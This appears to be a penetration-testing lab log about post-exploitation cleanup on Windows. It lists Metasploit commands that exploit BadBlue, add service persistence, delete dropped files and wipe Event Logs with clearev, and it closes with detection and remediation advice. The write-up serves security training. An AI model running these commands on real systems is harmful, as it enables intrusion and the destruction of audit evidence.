2025-12-12 / Log: clearing_your_tracks_on_windows

Clearing Your Tracks on Windows

Clearing Your Tracks on Windows

Classification: Host & Network Penetration Testing / Post-Exploitation
Target: Windows host (Meterpreter via BadBlue)

1. Executive Summary

After exploiting BadBlue, we look at the artifacts an engagement leaves on Windows and how to clean them up: removing dropped files, undoing persistence with the cleanup resource script that Metasploit modules generate, and wiping the Event Logs with clearev.

2. Foothold

nmap -sV <target>
use exploit/windows/http/badblue_passthru
exploit

Nmap scan

BadBlue exploited

Migrated session

3. Removing Dropped Files

cd C:\
mkdir Temp

Creating C:\Temp

Moving an example file

del C:\Temp\example.exe

Deleting the file after use

4. Persistence Artifacts & Cleanup Resource

use exploit/windows/local/persistence_service
set SESSION 1
run

The module drops artifacts for persistence and generates a cleanup resource file.

persistence_service info

Artifacts generated by the module

Cleanup resource generated (1)

Cleanup resource path (2)

Running the cleanup resource undoes the persistence changes.

resource /root/.msf4/logs/persistence/<...>.rc

Running the cleanup resource

5. Clearing Event Logs

clearev

clearev — Event Logs wiped

6. Detection & Remediation Recommendations

  1. Forward Event Logs off-host in real time (WEF/SIEM) — clearev can’t erase forwarded records; alert on Event ID 1102 (log cleared).
  2. EDR + application allow-listing to detect dropped artifacts and persistence services.
  3. Restrict admin/SYSTEM access so the attacker can’t reach these cleanup capabilities.